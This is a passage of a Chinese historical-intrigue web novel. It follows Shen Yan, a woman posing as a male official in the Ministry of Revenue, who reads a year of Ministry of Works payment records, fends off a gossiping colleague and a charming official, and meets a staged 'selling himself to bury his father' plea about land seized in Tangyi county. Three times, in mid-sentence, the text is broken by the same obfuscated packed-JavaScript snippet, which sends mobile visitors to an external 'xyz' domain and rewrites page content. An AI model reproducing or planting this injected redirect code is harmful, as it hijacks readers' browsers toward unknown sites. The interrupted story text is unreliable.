“过了此门便是六部府衙，左右两翼乃六部各司衙署，户部堂门还在前头，您且随我来便是。” 沈晏敛容趋步，迈步而入。 春月多雨，眼下才是初霁。朱墙深深，府廊长阔。廊柱林立，托起纷纷琉璃瓦，交映日色。偶有官员疾步行过，匆匆瞥沈晏一眼便挪开视线。 行至廊中，前方拐角处忽转出一行人，皆步履迅疾，袍裾生风，裹挟着外间春气，直直迎面而来。 为首之人身量颀长，玉带束绯袍。曲翅乌帽下，眉目修长斜飞，轮廓英挺，浓则生艳，端得一副昳丽皮相。 然昳丽皮相上却并无半分好颜色，正蹙着眉，对身侧一位年长些的属官交代着什么。后头并跟了三四名属吏，皆面色凝重，大气不敢出，恭耳听着那为首者言语。 引路小吏脸色微变，揪揪沈晏衣角，促声低语道：“大人，快避让。” 沈晏会意，侧身垂首，肃立廊边。 一行人足下未歇，自她面前行过。擦身的片刻，那为首绯袍者似漫不经心，扫了眼廊边垂立的身影——靛蓝官袍宽大，露出截中衣领。 目光仅是一掠，未作停留，众属官簇拥着浓烈绯色，疾步没入府廊另一头。 待动静渐远，引路小吏才长舒口气，直起身虚抹一把额角汗，未及沈晏发问便低声道：“大人莫怪…方才那位，是工部的裴侍郎，想来是有要务缠身。” 顿了顿，他小声续道：“沈大人想必知晓，自天机阁立后，六部不再设尚书位，如今各部掌印的乃诸侍郎大人。譬如咱们户部，便是贺侍郎贺大人所治。” 沈晏直起身，望向那人离去方向——府廊深深，唯余一片空寂。 她收回目光，淡淡道：“无事，走吧。” 引路小吏应了声“是”，续向前行去。 待转过三道拐角，两重门廊，终见户部府衙。门楣悬一块乌木匾额——“邦计财用，经国阜民”。 小吏向沈晏一躬身，请她入门。 沈晏垂眸，细细理了理袍服衣袖，正了正插翅乌帽，方抬步迈入。 入了门，她忽驻足，侧首问身侧小吏：“你可知贺侍郎衙署何在？” 那小吏闻言，面色却一阵阴晴，迟迟不应。 沈晏蹙眉：“新科履职，理当去拜谒本部侍郎大人？” 小吏又支支吾吾了半晌，方道：“回沈大人的话…贺侍郎吩咐过了，他公务繁杂，实难拨冗相见，沈员外郎自行熟悉署务便是。” 不愿见她？ 这份冷遇，倒来得直白。 沈晏只作未觉，轻叹一声：“如此…也好。那便有劳引路，先去值房安顿。” 小吏见她未多过问，方舒了口气，引着又过了几重槛：“此处便是。” 沈晏循声抬首。 值房不大，唯一桌一案，案头笔墨纸砚俱已铺陈，压着文书几卷，一并静候着她。 小吏眼瞧那沈员外郎搁下书笈行至案前，心下难免犯嘀咕：也不知这大人是开罪于谁，一上任便蒙此‘青眼’。” 沈晏信手翻着案头卷宗——入眼皆是些陈年旧档，或仓储核籍之琐碎，或昔年赋税之细目。 难怪贺侍郎叫她‘熟悉署务’，此等冗闲杂务，想来一时半会也熟捻不完。 那小吏见沈晏未露不满，稍松口气，轻声道：“沈大人，若别无他事，小人便去门外当值了？” 她点点头，应道：“去吧，有劳了。” 小吏一揖，转身而去。 方两步，却听身后门扉轻响，回头一看，竟是那沈员外郎探出半身，笑得温雅：“且慢，烦请替我取来近一年工部拨付款项的档册。凡我职分可阅者， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126190|180062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不论巨细，悉数去来。” 小吏愕然。 上任伊始便要阅一年卷宗？岂不衬得同僚皆是些懒散之辈？难怪…难怪不受人待见。 他未敢多言，唯唯应下。 期年的卷宗摞了满案，将案后人身形埋没。 沈晏轻掸袍袖，拈起最上一册，细细验看起来。 贺侍郎既要她熟悉旧务，自当唯命是从，举一反三。 三月春好，万枝烂漫。然非人人都有福气得闲观赏。值房之内，无鸟啾莺啼，唯纸张翻动之声，墨笔书写之声，以及沈晏凝眉沉思，指尖轻叩案台的声响。 良久，又添了一阵叩门声。 “请进。”沈晏声音平稳，目光却未离案前账册。 朱批醒目，赫然圈着几个字。 ‘京畿棠邑县’。 来人一身青绿色官袍，圆面阔背，一眼看得出年岁不浅。他堆一脸笑容，向沈晏拱起一双手。 “这位便是新科的员外郎沈大人吧？恭喜恭喜，年少有为，前程似锦啊。” 沈晏颔首，略一思忖，恍然击掌：“您是主事孙平孙大人？” “正是下官，正是下官！” 孙平忙不迭应声，眼风飞掠过那本账册，在‘棠邑县’三字上略一顿，又若无其事移开。 “沈大人甫一到任，便翻了一年工部拨付文书，可是有何要务啊？” 耳目倒灵通得紧。 “并无要务。”沈晏眉目弯弯，一派恭顺，“贺大人有命，要下官熟捻事务，故寻了这些卷宗来，好潜心学习，不敢负上官所托。” “哎呀呀。”孙平笑得有些僵，“沈大人实是勤勉有加，下官拜服。” 沈晏面露谦逊，垂首道：“孙大人谬赞。下官初涉此门，诸事懵懂，日后还望大人多多提点。” “那日听闻大人考校，得章老亲口称好！” 孙平笑得讪然，热络更甚。 “下官虽不才，却也是诚心仰慕章老人品才学。他老人家曾做的那本《治京论》，论时议事，写得着实透亮！下官至今还时常翻出来誊写。沈大人能得章老青眼，想必也是明察秋毫之人。今日一见，果然非一般的风流人物。” 沈晏心念微转，顺势而为，从暖笼里取出一只白瓷小盅，盖子揭开，竟是几块莹润雪白，缀以松仁的点心。清甜香气悄然弥散，盈满斗室。 她将盅推至孙平面前：“孙主事有心了。家妻备了些蒸酥酪，清爽可口，若不嫌弃，同尝？” ——那日秋娘替她上药，带了些蒸酥酪，入口只觉滑润回甘，沈晏便问好是哪家铺子的，买来备着当值时果腹。 孙平怎料到这沈员外郎竟比他还热络，微怔片刻，随即受宠若惊地捻了一块。点心入口即化，化而生甘，熨得他脸上细纹都展了几分。 “妙极！妙极！尊夫人真是体贴备至！” 语罢，他却似联想起了那些坊间八卦，面上闪过一丝不自然，讪讪地冲沈晏笑。 沈晏却接茬接得理所当然：“那是自然。” 孙平欲转话锋，眼风飞快将四周扫过一遍：“沈大人初来乍到，户部差事自有章程，可这京城官场啊，水深着呢！一根藤上扯出多少瓜，哪哪都连着筋。大人心里可得有本账，免得不小心惹无端风雨。” 沈晏了然。 原来孙大人这一趟，不止盯她翻账册，还要予她本护官府啊。 宦海芸芸，盘根错节。参不透个中因果，便如无灯者夜行，难免失足。 新官上任一摸黑，理应抓住一切可抓之藤蔓。 更何况，她也想听听，这孙平，葫芦里还卖了什么药？ 8. 没两日清闲好过 沈晏倾了身子，眉眼带一十二分恳切：“愿闻其详。” 孙平见她如此，心头那点被倚重的熨贴自然浮了上来，连带着腰杆也挺直了几分：“大人或也知晓，如今朝中顶顶要紧的，乃是天机阁诸阁老大人。若要论清贵，则首推六凤台的老大人。” 话一顿，他冲沈晏略略拱手：“譬如大人您的座师，章文渊章大人。” 沈晏颔首，轻笑道：“不过是蒙恩得举，孙大人莫抬举我。” 然心中思量，觉着此言与先前张宪之所说并无二致—— 如今天子春秋虽盛，然龙体欠安，多以养恙为由，非重事不行朝会。故设天机阁，凡朝中要务，皆与三位阁□□议决断。另设六凤台，皆是元老重臣，位尊而衔虚，聊充制衡之用。 孙平眼风四处一掠，将声音压低了些。 “再往下，便是你我需提十二分心神应对的——都察院那帮眼刀笔刃的言官御史们，再便是六部各司掌印侍郎。” “咱们户部贺侍郎，向来是守正持中，行事端稳如泰山，既无偏私，也不袒护。” 他抿抿唇，目光飘向沈晏案上摞成山的卷宗，“沈大人初来，若想事事周全，少出差池，当多多向贺侍郎请示才是。” 沈晏再颔首：“多谢孙大人提点。” 再往后，便是孙平一干不痛不痒的赘述，什么长袖善舞吏部李侍郎，行伍耿直兵部唐侍郎，礼部差事轻省，刑部案牍杂陈。背书似也，皆一笔带过。 “至于工部…”孙平话哽在嘴边，目光徐徐转向旁侧。 府廊之中，那携三引五的绯袍者冷着的一张脸适时跌入沈晏眼底。 “工部裴侍郎？”她随口接道，“入府衙时，廊下匆匆一晤，稍有留意。孙主事以为，这位大人如何？” 孙平迎上她的目光。 “至于工部的裴洗裴侍郎……” 他将头凑近了些，倒像怕被谁听了去，压着嗓只剩气音，“这位爷…少年得志倒是真的。未及冠便取了进士，金殿传胪，圣恩优渥。然…许是顺遂惯了，心便高了些？” “此言何意？”沈晏眉心微蹙。 “裴大人…权柄收得极紧。翻过了今冬尤甚，工部事无巨细，皆需过他之手。外间有些议论，说他‘四处不留情’，‘揽权心切’。下官虽觉得此言太过，然…规柄处处向着自己，也不好看不是？” 孙平斟酌着字句，脸上一副“沈员外郎心知便好”的无奈神色。 沈晏眉心越发难展。 工部…掌天下营造，况论漕运。 赴任前，张宪之曾为她祝祷。轩窗裁影，二人便坐于窗前对弈。 “钱粮，吏治，漕铁…此乃三股水，深浅湍急各不同。”沈晏正欲落子，却闻对面人语重心长。闻声抬眸，张宪之端肃的脸，连着将成一局的棋盘一并落入眼中，黑白交错，暗藏锋芒。 “阿晏，你初入此局，需知水浊则鱼隐，水急，则易覆舟。” 她敛回心神，才点了点头。 孙平见沈晏不言语，又堆一脸笑，端得是体察人心之姿：“沈大人无需挂忧，日后若与工部有公务往来，按章程规矩，事事留档，请教老吏，备案于户部，便出不了差错。” 自觉该点的火候已到，他又闲扯几句诸如“日后照拂”，“尽管吩咐”此类的场面话，便拱手告辞，推门而出。 出了门，却不入值房，反而是敛声趋步，直向工部府衙。 日渐西沉，勾出朱红廊柱间青绿身影。 孙平脸上已无半分热络，无言候在廊边。未有多时，身侧阴影里钻出了个低眉顺眼，躬身垂首的小太监。 小太监敛步向前，低声递话：“孙主事，陈郎中吩咐过，有话我替您传了便是。” 怎得不是陈著本人？ 孙平侧身的动作一顿，眼珠于沉沉日色中转了转。也罢，自己不过是想落点好处，犯不着将话说得太死，将事做得太绝。 他将头凑向那小太监耳边，声音压得极低：“劳烦回禀陈郎中：章文渊所举的那员外郎沈晏，甫一到任，便翻起了与工部拨付款项的账目旧档，想来棠邑卷宗也在其中。再多的…下官也不甚了了了。” 小太监微微颔首，无声一拂身，又钻入廊柱阴影间。 见那身影消失，孙平心头反倒松快了些，这才整整衣冠，又向户部府衙正堂行去。 刚至门边，他便见两位相熟同僚，正收敛袍服预备下值。 一瘦高同僚见他，挤眉弄眼欺了上来：“孙主事，如何？咱们那位一步登天的沈员外郎，是何等人物？” “先不论旁的，定是那颇好风流之人。”另一圆脸同僚不由咂舌道，“沈员外郎家中那位夫人，啧啧，秦淮河上…” “罢了罢了。他自己不珍重名节，何故议论？反教你我失了身份。” 瘦高同僚语带轻慢，忽又似想起什么，勾出抹讥诮笑意来。 “听闻贺侍郎体恤新科上任，只让他翻翻陈年琐账，倒是清闲得紧呢。此等美差，旁人可求不来。” 孙平停步，眼前浮现的，却是方才府廊阴影深处，那小太监恭耳相听的模样。 “清闲？”他吁了口气，缓缓吐出一句，“诸位且看着吧，这沈员外郎的清闲日子…怕是没两天好过了。” 没两日清闲的沈员外郎，此时仍埋首案前。正信手执笔，朱砂叠浓墨，于纸上圈点勾画。 轩窗透出的天色不觉又暗淡了几分，云舒又卷，蔽住残阳。沈晏了然舒开酸涩眉心，合手覆住案前最后一卷时，檐外却传来淅沥细雨声。 春月阴晴反复，竟又下起了雨。 她直起身，缓了缓僵着的腰背，行至府廊下，凭栏而立。暮日四合，雨密如织，宫道石板倒映廊下昏黄，影影幢幢连成一片。 沈晏只得喟叹：点心备了，却偏偏忘了备伞。眼瞧着这雨一时半会儿歇不了，她心下合计：若半个时辰雨还不歇，索性回公堂扯块布，遮头盖脸得走。 然未及沈晏寻布覆面，先有人寻见了她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126191|180062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “沈员外郎，好巧。” 有声音于身侧而来，清朗温和，盈盈带笑。 她循声望去，廊下那人绯袍加身，长身玉立，挺拔如雨后新篁。红衣端艳，着于彼身，非但未掩其清质，反衬得他人如芝兰生于玉阶，清似秋水，煦比春风。 沈晏忙躬身揖道：“下官见过温大人。” “沈员外郎客气了。”温延玉冲她歪头笑笑，修眉之下，一双眼略略弯起，流转光华。 “细论起来，这也算温某与沈员外郎的第三面之缘了。温某乃惜才之人，沈员外郎是有才之士，实不必如此拘礼。”他眼掠过沈晏空悬的手，温声道，“春潮晚来急，沈员外郎可是在等伞？” “来时初霁，未曾备下。”沈晏自觉难探此人腹中虚实，不欲同他过多言语。 “那更巧了，温某的轿子就在门外候着。若不嫌弃，此伞暂借大人一用？” 随语而出，温延玉信手递给她一柄素面绸伞，湘妃竹骨，巧夺天工，合该配他这样的人物。 沈晏未料想对方行动如此自然，毫无施舍之意，倒像是至交好友间寻常馈赠。既无恶意，推拒了反倒显得是自己矫情。 她稍做迟疑，便伸手接过，指尖相触一瞬，只觉他肌肤亦凉薄如玉：“多谢温大人援手，解下官燃眉之急。改日定当奉还。” “区区一伞，何足挂齿。”温延玉笑意更甚。 “说来，沈大人初入京城，公务便如此勤勉，连这春雨连绵也不曾懈怠。只可惜了一片拳拳心意，京城之地，繁华锦绣，却也人多口杂。有些流言蜚语，譬如…” 他顿了顿，眉目仍温煦，似要摧开雨来化作春风。 “‘娶妓失节’。沈大人或许以为无稽之谈，可终究扰耳…沈大人乃一颗璞玉，恐沾无谓之瑕。” 沈晏心弦骤紧，面上却浮起一副谈及家事时常有的无奈神色：“温大人提点的是。然娶妻纳妇，乃下官私闱之事，既无有挂碍，便不足为外人道。清者自清，浊者自浊。下官但求无愧于此身，些微流言，有也无碍。” 温延玉看着她如何坦荡，只微微颔首：“沈大人心胸豁达，倒是温某多言了。如此，先行一步。” 他从容步入雨帘之中。府门外，早有小厮撑一柄伞，恭敬迎着他上了青缦轿。 沈晏侧过目，不再流连于温延玉背影。 那些倾慕他的士子如何赞颂来着？ 天池月色？玉山清流？ 她撑起那把伞，绸面流光，素色生华。步入廊外，身影被落水隔得朦胧，雾蒙蒙融在雨里。 望沈晏走远，温延玉并未即刻落了帘子。 户部新科…沈员外郎？ 他原本只欲同往常一般，略略施恩于那些新晋官员，也便为日后埋下些或援引或取用的善缘。 可不知为何，望向沈晏时，心下总有些难以言喻的掠影。那双眼，莫名让他觉着有些熟悉，就像… 就像是，江南三月落花时节，被吹皱的一汪春池。 9. 葬父是假，卖身却是真 黑子白子，玄机各藏。 沈晏正施身端坐于漫漫无垠的棋盘之上，满盘皆被棋子所填，她左手执一黑子，右手执一白子，不知下于何处。指尖方欲点化，棋盘徒然如水波翻涌，万千棋子满盘四散… 随即，秋娘的叫喊声与天光一齐而来。 “阿晏——这是谁家的伞——” 又做得哪门子怪诞迷梦…… 今日上麓，适值休沐，沈晏难得睡至日上三竿，她应声爬起，披衣而出。 秋娘见她被自己惊醒，难□□露几分愧色：“我还道你早起了，又不是什么要紧事，早知道让你再阖眼半个时辰。” 沈晏却应声道无妨。若再睡半个时辰，难保梦中那方天地不会抖如筛糠，将她颠得直呕出来。 她定睛看了看秋娘手中绸伞，湘妃伞骨，素面流光，正是温延玉曾递与她的那把。 自那日别后，她日日携伞往返，却连他的影子都未见，只得暂搁家中，待节后再行背去。 “哦，那日落雨无备，一位大人借与我的。” “难怪…”秋娘指尖拂过绸面，“这绸光润如水，想是耗了大笔银子的，不似你能拿得出手的。” “明察秋毫者，殷秋娘也。”沈晏却不恼她，稍稍倾身，对上秋娘因这奉承而陡然警惕的眸子，“好秋娘，今日上巳，你又无事扰我清梦，于情于理，都该再分我些糕点，好不好嘛。” 沈晏伸手去勾秋娘的衣带，却看见她目光灼灼，脸上一阵晦明变化，未了，竟笑得促狭。 “糕点，自是不缺你的。不过——”她话锋陡转，杏眼弯弯如新月，“阿晏生得如此俊秀，令我实在好奇，若是沈郎扮回女子，该是何等倾城颜色？” 眼下，脸色晦明变化者换作了沈晏。 秋娘仍旧笑嘻嘻：“放你的心。娇娥沈晏，只在此房之中，天见地见，你见，我见。” 日日扮男子，心虑深重的，若偶尔还作女儿身，想来也能轻松些。 天可怜见，沈晏本是想严辞相拒的。 然对上秋娘那亮得逼人的眼，不知是被区区糕点蛊去了心志，还是被上麓春光迷了眼睛。鬼使神差地，她竟听见自己的声音： “只此一次，再无下回。” 秋娘欢呼一声，立刻忙碌起来。 双手展她一头乌发，青丝三千，悬垂如瀑。斜髻于脸侧绾起，口脂遮苍白唇色，钗环裙裾，一一披挂停当… 沈晏被推到铜镜前。 镜中之人，身量纤长却略显单薄，一只珠钗点缀鬓边，眉目间锐气经一抹脂粉，竟显得清丽非常，俨然一英气女子，迎风照水，翩若惊鸿。 晃神刹那，临安水畔，被爹娘唤作微微的少女蓦然抬眸，冲镜中人灿然一笑，漫如山花，直直撞进此时揽镜之人的眼底，酸胀得几乎摧下泪来。 她只得压下眼帘，不去看那道模糊人影。 “真好看！”秋娘拍手，满眼真切的惊艳。 “啊！”她忽又想起了什么，“说起来，这还是脱去贱籍后的第一个上麓节！合该仔细过一过，按古礼，人人都得去水边祓禊祈福，洗除晦气，求个安康顺遂才是。” 第一个上麓节？ 沈晏自镜中影惊醒，透过铜镜与秋娘四目相对。 “沈…姐姐，我们也去？”秋娘有些兴奋，摩拳擦掌道。 沈晏摇了摇头，不置可否。 “若被人看见是女子，岂不要杀你我的头。” “可覆面纱。”秋娘不假思索。 “不可，眉目之间，总能分辨轮廓。” “可佩帷帽。”秋娘自退一步。 “不可，若有人认出你来，又当何妨？” “那……那我也戴帷帽。”秋娘咬牙切齿。 …… “秋娘啊，”沈晏扶额，长叹一声，“你这又是何苦呢？” 上巳佳节，果真锦绣堆叠。 柳浪摇金，徐风织锦。香车宝马更是络绎不绝，来来往往的行人皆是手持着兰草，语笑盈盈。 沈晏数着指头算，前三年的上巳，一年于发配途中为押解官吏所蹉磨，一年于街头与流民为伍，一年于漕帮船上做她的‘哑奴’。 如此看来，事总是不便过三，今岁竟得以一览上巳春月的人间烟花。 她自然没听秋娘蛊惑，仍一身天青素袍，乌发半束，端的是那清俊郎君模样。 秋娘并行她身侧，实在爱人间烟火爱得过分，眸光流转，时而睃巡那些往来行人，时而去看沿街小贩叫卖的五彩荷包。看罢又扯沈晏衣袖，忙问她自己佩何种颜色好看。 沈晏还心心念念着点心那一遭，于是莞尔：“人生得好，又愁佩何物不增色？只不过。”她眼波微动，“秋香色与你，倒是相得益彰。” 语罢，已掏出碎钱，将那荷包买下递予秋娘。 秋娘欢喜地摆弄了几下，又将它悬在沈晏脸前，挤眉弄眼地问：“沈郎，这可是你予我的定情信物？” 沈晏被噎了一下。这样的玩笑，旁人开开也就罢了，怎么连秋娘也开。可挤了半天，也只挤出了一句“胡闹。” 秋娘见她难得吃瘪，更是咯咯地笑了起来，顺手将那只荷包垂在腰际。 “沈大人！今日好兴致！” 沈晏闻声去望，竟是孙平。 “这位是，尊夫人？”他目光在秋娘身上溜了一圈，难掩惊艳。 “正是。”沈晏淡然回礼，身形微侧，将秋娘护在身后，“孙主事也来踏青？” “是啊，难得休沐，出来松快筋骨。”孙平寒暄两句，眼神扫过一圈，又堆笑道：“沈大人气色瞧着好些了，下官就不扰您二位雅兴了。”说罢便识趣告退。 待孙平走远，秋娘才低啐一声：“这人，怎么笑得活像只偷了油的老鼠。” 沈晏容色仍淡淡：“是吧。不过他不是偷了油，是偷了你的酥酪。” 秋娘未做言语，只飞她一记眼刀。忽地，她似想起什么，一敲额角：“这人我见过！” 沈晏心头一紧，却只听得秋娘续道：“这些个官老爷，动不动出入秦楼楚馆。呸，分明是他们的销金窟！个个寻欢作乐，没半点正形。自然，你可除外。” 缚月楼、官老爷…沈晏心念电转，直觉其间或有千丝万缕联系。 她正欲细问：“秋娘，你可记得，缚月楼中，是否有常借朝廷命官之名行事者？”话音未落，听话之人早已心猿意马。 秋娘眼尖，拽着沈晏，踉踉跄挤进眼前市口一处人墙之中。 只见一袭白布横陈，勾勒出人形轮廓，一股腐臭气扑鼻而来，竟是一人尸身曝于光天化日。尸体旁侧，还跪着一个半大儿郎，眉眼稚气未尽脱，双颊却凹陷下去，不见少年人的饱满。 见人聚拢，那人忽地扑向那尸身，一阵哭天抢地：“爹啊！您走得好惨！儿不孝，无钱葬您，只得行此卖身下策！” 卖身葬父？ 他以袖掩面，泣涕涟涟，可细看之下，竟眼眶干涸，全无半点泪意。 众人中陡起一声嗤笑：“哈！又是这出！前儿个你爹刚‘死’在城南，今儿个又‘死’在城东，你爹是九命狸猫托生不成？” 语出，人群恍若冷水被泼油，嘶嘶作响，皆是愤懑讥诮之声。刚才那喊话人见那葬父人语塞，径直上前，一把掀开那白布。 哗然四起！ 布下哪里来的什么尸身？不过是草人一具，旁置两条咸鱼，腥气冲鼻，权作尸臭。 卖身葬父的戏台子搭了又要倾倒，然草人咸鱼充爹的戏码却不多见，一时之间，人竟聚得更多了些。那半大儿郎被戳穿，伏在地上，两肩在粗布外衫中抖得瑟瑟，一派堂皇。 “年纪不大，行骗倒熟捻。” “可他面色如此，保不齐真有什么难处。” 地上那唱角听得众人如何议论，忽地仰起头来，面上浮一层惊惶：“我葬父是假，卖身却是真！官府修河道夺田，无地可耕，无有补银。求诸位发发善心，给个活路。” 言辞恳切，倒教人辨不出个是非来。 沈晏被秋娘牵着袖，于人群中立定，却生有一丝疑窦。眼前少年虽声泪颤颤，可一双眼却飞掠人群，似在寻觅什么。 大昭之中，圈地夺田之事，本不在少数。 隆佑七年夏月时，她无处可托，曾以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126192|180062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草灰覆面，混迹于流民堆中。缩于破庙一隅时，她听见有妇人抱着婴孩哭诉，说活路本生于田，眼下却被夺去了。 然眼前这少年…她微蹙眉稍。 人群推搡拥挤，哄闹并低语。猝不及防间，却有一只手重重拍上沈晏肩头。 “呦，沈大人，方才别过，又在此处巧遇！”孙平那张堆笑的脸从人缝里挤出，声调陡然拔高，压过周遭嘈杂，“沈大人也于此体察民情？” 大人？体察民情？ 假葬父真卖身，有冤无状诉，却逢官老爷。如此一波三折，不可谓不精彩。众目睽睽，齐刷刷向沈晏投来，也将她推上戏台，披衣画脸谱，权充作伶人。 那地上之人捕捉见孙平的话，目光如钩，直攫住人群中静默的沈晏，如溺水者寻见浮木，‘扑通’就跪在了地上：“您是青天大老爷，您行行好！帮帮我们苦命人吧。” 人墙一堵，兼一个孙平，皆待她发话。 沈晏指尖在袖中捻了捻，片刻沉寂，自怀中掏出一小布囊，解开，倒出几块碎银和一些铜钱。弯腰俯下身去，将其中几枚成色尚好的置于少年掌心。 “拿着。” 声色无波，清晰传入众耳，“吾妻不喜生人，府中不便留外男。这些钱拿了，先去买些米粮，解你燃眉之急。卖身葬父，此等把戏莫要再作了。” 然那少年所期的岂是这个。 他目光流连于手心铜板片刻，眼中闪过一丝焦躁，非但不退，反而扑上前，死死攥住沈晏的衣摆。 秋娘也被这突兀惊住，跳上来就要他的手扯开，却被沈晏拉了拉袖止住了。 他只俯身，将额头磕入土中：“老爷，求您发发慈悲，小的不敢求收留，只求您替棠邑县几百口子做主！” 说是卖身，却不要银钱… 沈晏未应承，也未斥责，只是移步上前，声音沉静如问案公堂。 “姓甚名谁？” “宋谷。” “家住何处？” “原住京郊棠邑县，现…无家可归。” “缘何状冤？” 宋谷垂脸，不教人捕捉他脸上神色，肩头耸动似泣涕不止：“官府的人说，朝廷要拓河筑堤，征了我们的田，毁了我们的屋。偿款影子也不见。求您…查查工部征田那黑心账！” 他且哭喊完，又磕了几个狠头，额上红印显目，好不可怜。众人将此情此景映在眼中，皆是嘶嘶抽冷气，静听‘青天’裁决。 “工部拓河道，夺田毁屋，民有冤情？”沈晏目光缓缓扫过周遭，最终落回脸上，“本官既已知晓，自当留意，查证虚实。是非曲直，朝廷自有法度公断。” 宋谷闻言，面上悲戚瞬间化作狂喜，连连叩首：“谢青天大老爷！谢青天大老爷！” 人群见冤状递出，满足的议论声渐起，三三两两散去。孙平仍是一脸堆笑，朝沈晏一拱手便转身离开。 行出数十步，人声稍远。秋娘却一把攥紧沈晏的衣袖，容色如常，唯压低的嗓显出心弦绷紧： “阿晏，方才人多手杂，我欲拽他时，却看着那手滑腻得很，不像做惯粗活的样子。还有，他那身粗布外衫领口松了些，露出里头中衣边角，瞧着倒像是……” 秋娘眼风向后一掠，声音更低了些：“我于布匹香料之事也算浸淫多年，那织就纹理，倒像是好料子的细棉。” 沈晏听闻，竟只是冲她笑笑，眉弯目朗，如拨云见月：“秋娘呀，今日方看得一出好戏。你可知这世上最能除人戒备的骗局为何？” “为何？” “先布一浅阱，”沈晏竖起一指，摇了摇头，“如那草人咸鱼，粗劣不堪，由是卖身，惹人生怜。待人轻易识破，沾沾自喜，以为洞悉全局，便按一心所料推演后事。却忘了，浅阱之后——” 她又竖起第二指，“藏着的，才是真正的深渊：工部贪墨，民怨沸腾，申冤无门，专候着我这‘青天’老爷一脚踏进去呢。” “哦，听不懂。”秋娘一双杏眼滴溜溜转了几圈，“那你准备如何呢？” 沈晏顿了顿首：“饵至眼前，安有不吃之理？自然是，观这局棋欲将我为何子，又以我去攻何玉了。”